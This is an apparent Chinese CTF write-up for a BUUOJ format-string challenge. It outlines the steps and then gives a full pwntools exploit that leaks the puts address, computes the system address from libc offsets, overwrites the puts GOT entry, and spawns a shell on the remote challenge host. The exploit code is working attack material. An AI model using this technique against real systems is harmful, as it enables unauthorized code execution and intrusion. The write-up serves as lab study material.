就只考了一个格式化字符串。
1.先泄露puts的地址
2.计算得到system函数地址
3.覆盖puts_got
4.调用system("/bin/sh")
题解:
from pwn import *
context.arch="amd64"
context.os="linux"
def log_addr(name,addr):
log.success(f"find {name} successfully!------>"+str(hex(addr)))
#p=process("./putsorsys")
p=remote("node5.buuoj.cn",25556)
elf=ELF("./putsorsys")
libc=ELF("/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.6")
puts_got=elf.got['puts']
payload=b"%9$s...."+p64(puts_got)
p.sendline(b"1")
p.recvuntil(b"What's it\n")
p.send(payload)
print(hexdump(payload))
p.recvuntil(b"Oh thanks,There is my gift:\n")
recv=p.recv(6)
print(recv)
puts_addr=u64(recv.ljust(8,b"\x00"))
log_addr("puts_addr",puts_addr)
libc_addr=puts_addr-0x084ed0#libc.symbols['puts']
log_addr("libc_addr",libc_addr)
system=libc_addr+0x054d60#libc.symbols['system']
log_addr("system_addr",system)
p.sendline(b"1")
payload=fmtstr_payload(8,{puts_got:system})
p.send(payload)
p.interactive()
记录:

flag为动态
657

被折叠的 条评论
为什么被折叠?



